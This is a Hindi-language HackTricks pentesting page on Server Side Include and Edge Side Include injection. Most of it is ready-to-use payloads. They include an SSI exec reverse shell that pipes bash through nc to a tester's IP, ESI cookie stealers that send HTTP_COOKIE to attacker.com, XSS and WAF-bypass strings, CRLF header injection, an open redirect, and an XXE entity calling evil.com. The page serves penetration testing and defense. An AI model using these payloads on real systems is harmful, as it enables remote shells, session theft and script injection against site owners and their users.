hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

18 KiB

सर्वर साइड इनक्लूजन/एज साइड इनक्लूजन इंजेक्शन

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

सर्वर साइड इनक्लूजन मूल जानकारी

SSI (सर्वर साइड इनक्लूड्स) निर्देश होते हैं जो HTML पेजों में रखे जाते हैं, और सर्वर पर मूल्यांकन किए जाते हैं जबकि पेज सर्व किए जा रहे होते हैं। वे आपको एक मौजूदा HTML पेज में गतिशील रूप से जनरेटेड कंटेंट जोड़ने की अनुमति देते हैं, बिना पूरे पेज को CGI प्रोग्राम, या अन्य गतिशील तकनीक के माध्यम से सर्व करने की आवश्यकता के।
उदाहरण के लिए, आप एक मौजूदा HTML पेज में एक निर्देश डाल सकते हैं, जैसे:

<!--#echo var="DATE_LOCAL" -->

और, जब पेज सर्व किया जाता है, यह खंड मूल्यांकन किया जाएगा और इसके मूल्य के साथ बदल दिया जाएगा:

Tuesday, 15-Jan-2013 19:28:54 EST

SSI का उपयोग कब करना है, और कब आपके पेज को पूरी तरह से किसी प्रोग्राम द्वारा जनरेट किया जाना है, यह आमतौर पर इस बात का मामला होता है कि पेज का कितना हिस्सा स्थिर है, और कितना हर बार पेज सर्व किए जाने पर पुनः गणना की जरूरत है। SSI छोटी जानकारी के टुकड़े जोड़ने का एक शानदार तरीका है, जैसे कि ऊपर दिखाया गया वर्तमान समय। लेकिन अगर आपके पेज का अधिकांश हिस्सा उस समय जनरेट किया जा रहा है जब वह सर्व किया जा रहा है, तो आपको किसी अन्य समाधान की तलाश करनी चाहिए। (परिभाषा यहाँ से ली गई है)।

यदि वेब एप्लिकेशन ** .shtml, .shtm या .stm** एक्सटेंशन वाली फाइलों का उपयोग करता है तो आप SSI की उपस्थिति का अनुमान लगा सकते हैं, लेकिन यह केवल मामला नहीं है।

एक विशिष्ट SSI अभिव्यक्ति का निम्नलिखित प्रारूप होता है:

<!--#directive param="value" -->

जांच

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

एज साइड इनक्लूजन

जानकारी या डायनामिक एप्लिकेशन्स को कैशिंग करने में एक समस्या है क्योंकि सामग्री का कुछ हिस्सा अगली बार सामग्री प्राप्त करते समय भिन्न हो सकता है। यही कारण है कि ESI का उपयोग किया जाता है, ESI टैग्स का उपयोग करके डायनामिक सामग्री को जनरेट करने के लिए संकेत देने के लिए, जिसे कैश संस्करण भेजने से पहले बनाया जाना चाहिए।
यदि एक हमलावर कैश सामग्री के अंदर एक ESI टैग इंजेक्ट करने में सक्षम होता है, तो, वह उपयोगकर्ताओं को भेजे जाने से पहले दस्तावेज़ पर मनमानी सामग्री इंजेक्ट कर सकता है।

ESI का पता लगाना

सर्वर से प्रतिक्रिया में निम्नलिखित हेडर का मतलब है कि सर्वर ESI का उपयोग कर रहा है:

Surrogate-Control: content="ESI/1.0"

यदि आप इस हेडर को नहीं ढूंढ पा रहे हैं, तो सर्वर फिर भी ESI का उपयोग कर रहा हो सकता है
एक अंधा शोषण दृष्टिकोण भी इस्तेमाल किया जा सकता है क्योंकि एक अनुरोध हमलावर के सर्वर पर पहुंचना चाहिए:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI शोषण

GoSecure ने हमें समझाने के लिए एक तालिका बनाई है कि हम विभिन्न ESI-सक्षम सॉफ्टवेयर के खिलाफ कौन से हमले कर सकते हैं, जो कार्यक्षमता का समर्थन करते हैं। नीचे दी गई तालिका के कॉलम नामों के बारे में कुछ स्पष्टीकरण देते हैं:

  • Includes: <esi:includes> निर्देश का समर्थन करता है
  • Vars: <esi:vars> निर्देश का समर्थन करता है। XSS फिल्टर्स को बायपास करने के लिए उपयोगी
  • Cookie: दस्तावेज़ कुकीज़ ESI इंजन के लिए सुलभ हैं
  • Upstream Headers Required: सरोगेट एप्लिकेशन ESI वक्तव्यों को प्रोसेस नहीं करेंगे जब तक कि अपस्ट्रीम एप्लिकेशन हेडर्स प्रदान नहीं करता
  • Host Allowlist: इस मामले में, ESI शामिल केवल अनुमति वाले सर्वर होस्ट्स से ही संभव हैं, जिससे SSRF, उदाहरण के लिए, केवल उन होस्ट्स के खिलाफ ही संभव है
सॉफ्टवेयर Includes Vars Cookies Upstream Headers Required Host Whitelist
Squid3 हाँ हाँ हाँ हाँ नहीं
Varnish Cache हाँ नहीं नहीं हाँ हाँ
Fastly हाँ नहीं नहीं नहीं हाँ
Akamai ESI Test Server (ETS) हाँ हाँ हाँ नहीं नहीं
NodeJS esi हाँ हाँ हाँ नहीं नहीं
NodeJS nodesi हाँ नहीं नहीं नहीं वैकल्पिक

XSS

निम्न ESI निर्देश सर्वर के प्रतिक्रिया में एक मनमानी फाइल लोड करेगा

<esi:include src=http://attacker.com/xss.html>

क्लाइंट XSS सुरक्षा को बायपास करें

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

कुकी चुराना

  • दूरस्थ कुकी चुराना
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • XSS का उपयोग करके HTTP_ONLY कुकी को प्रतिबिंबित करके चुराएं:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

निजी स्थानीय फ़ाइल

इसे "Local File Inclusion" से भ्रमित न करें:

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

ओपन रीडायरेक्ट

निम्नलिखित उत्तर में एक Location हेडर जोड़ देगा

<!--esi $add_header('Location','http://attacker.com') -->

हेडर जोड़ें

  • जबरन अनुरोध में हेडर जोड़ें
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • प्रतिक्रिया में हेडर जोड़ें (XSS के साथ "Content-Type: text/json" प्रतिक्रिया को बायपास करने के लिए उपयोगी)
<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

Add header में CRLF (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

अकामाई डीबग

यह प्रतिक्रिया में शामिल डीबग जानकारी भेजेगा:

<esi:debug/>

ESI + XSLT = XXE

यह संभव है कि ** _eXtensible Stylesheet Language Transformations (XSLT)_ ** आधारित ESI शामिल को xslt मान को dca पैरामीटर में निर्दिष्ट करके जोड़ा जा सकता है। निम्नलिखित शामिल HTTP सरोगेट को XML और XSLT फाइल का अनुरोध करने का कारण बनेगा। XSLT फाइल का उपयोग XML फाइल को फ़िल्टर करने के लिए किया जाता है। इस XML फाइल का उपयोग XML External Entity (XXE) हमलों को प्रदर्शन करने के लिए किया जा सकता है। यह हमलावरों को SSRF हमलों को प्रदर्शन करने की अनुमति देता है, जो बहुत उपयोगी नहीं है क्योंकि यह ESI शामिल के माध्यम से किया जाना चाहिए, जो खुद एक SSRF वेक्टर है। बाहरी DTDs को पार्स नहीं किया जाता है क्योंकि अंतर्निहित पुस्तकालय (Xalan) का इसके लिए समर्थन नहीं है। इसका मतलब है कि हम स्थानीय फाइलों को निकाल नहीं सकते।

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT फ़ाइल:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

XSLT पेज की जाँच करें:

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

संदर्भ

ब्रूट-फोर्स डिटेक्शन सूची

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}

htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से हीरो तक AWS हैकिंग सीखें!

HackTricks का समर्थन करने के अन्य तरीके: